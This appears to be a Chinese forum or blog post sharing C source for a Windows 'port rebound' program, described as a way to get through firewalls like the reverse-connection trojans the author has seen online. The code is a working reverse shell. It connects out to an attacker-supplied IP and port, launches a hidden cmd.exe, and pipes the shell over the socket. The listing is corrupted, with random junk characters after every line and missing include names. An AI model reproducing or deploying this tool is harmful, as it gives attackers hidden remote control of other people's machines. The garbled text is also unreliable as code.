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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 OM, uR3,  
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/* ============================== ^-=,q.[7  
Rebound port in Windows NT RQe#X6'h  
By wind,2006/7 vLkZC  
===============================*/ a<vCAFQ  
#include lW>bX C  
#include V$:v~*Y9  
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#pragma comment(lib,"wsock32.lib") L#NPt4Sz+  
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void OutputShell(); IClnh1=  
SOCKET sClient; ri\r%x  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {},G xrQm  
Kq.)5%~>  
void main(int argc,char **argv) !FO||z(vb  
{ g{a_{P  
WSADATA stWsaData; (?J&Ar0  
int nRet; FQ O6w'  
SOCKADDR_IN stSaiClient,stSaiServer; 8G{} r  
jUjQ{eT  
if(argc != 3) B-eYWt8s  
{ 5?2PUE,a  
printf("Useage:\n\rRebound DestIP DestPort\n"); \/lS!+~'']  
return; r!#a.  
} L4Kkbt<x  
eOLS  
WSAStartup(MAKEWORD(2,2),&stWsaData); }hl# e[$  
=_v_#;h&  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T.&^1qWWA  
vH7"tz&RIp  
stSaiClient.sin_family = AF_INET; O{%y `|m  
stSaiClient.sin_port = htons(0); dq|z;,`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >B~p[wh0  
2;6p2GNSh  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "CLd_H*)c  
{ WU}JArX9  
printf("Bind Socket Failed!\n"); 2Uk$9s  
return; mtJI#P  
} 5GpR N  
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stSaiServer.sin_family = AF_INET; w"A'uFXLc  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5N ' QG<jE  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <$7*yV  
SD JAk&Z}R  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >Wy@J]Y#  
{ IURi90Ir  
printf("Connect Error!"); K4l,YR;r  
return; t;E-9`N  
} Af*^u|#  
OutputShell(); L!/USh:IP  
} qW7S<ouh  
+]*?J1 Y8Z  
void OutputShell() rEZa%)XJ  
{ HM--`RJ  
char szBuff[1024]; M[Ls:\1a  
SECURITY_ATTRIBUTES stSecurityAttributes; j7O7P+DmS  
OSVERSIONINFO stOsversionInfo; WKmGw^  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; oIbd+6>f  
STARTUPINFO stStartupInfo; w{Dk,9>w)  
char *szShell; [h,T.zpa  
PROCESS_INFORMATION stProcessInformation; g!aM-B^C  
unsigned long lBytesRead; }R.cqk\qa^  
cV)C:!W2  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); # {!Qf\1M  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9-)oA+$  
stSecurityAttributes.lpSecurityDescriptor = 0; JNk ]$ xz  
stSecurityAttributes.bInheritHandle = TRUE; Az" 3f  
VJJw"4DJ  
V^.~m;ETu]  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hv7!x=?8  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1LcQ*d  
ggX'`bK  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); '&s:,o-p  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wCc:HfmjJ  
stStartupInfo.wShowWindow = SW_HIDE; 9j9A'Y9(  
stStartupInfo.hStdInput = hReadPipe; rWSw1(sAA  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8[}MXMRdb  
;xwa,1]  
GetVersionEx(&stOsversionInfo); RI cA)I.  
v,1.n{!;  
switch(stOsversionInfo.dwPlatformId)  :E'38~  
{ 1>l {c  
case 1: oREZ^pE@  
szShell = "command.com"; H}JH339  
break; Gl}=Q7  
default: js7J#b7  
szShell = "cmd.exe"; :S?'6lOc(  
break; '{U56^b]  
} YceiP,!4?v  
&|Z:8]'P  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T4qbyui{  
ugucq},[  
send(sClient,szMsg,77,0); )Q(tryiSi  
while(1) D='/-3f!F]  
{ --.:eFE/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Qh)@-r3  
if(lBytesRead) <@5#  
{ r~TiJ?8I  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hGD7/qTN  
send(sClient,szBuff,lBytesRead,0); > NK?!!A_  
} g"xLS}Al  
else 4d9i AN  
{ -\AB!#fh  
lBytesRead=recv(sClient,szBuff,1024,0); S1%{/w  
if(lBytesRead<=0) break; (a]'}c$X9`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t'0r4&\  
} -twIF49  
} GVn7#0x  
,GZ(>|  
return; <k}>eGn  
}
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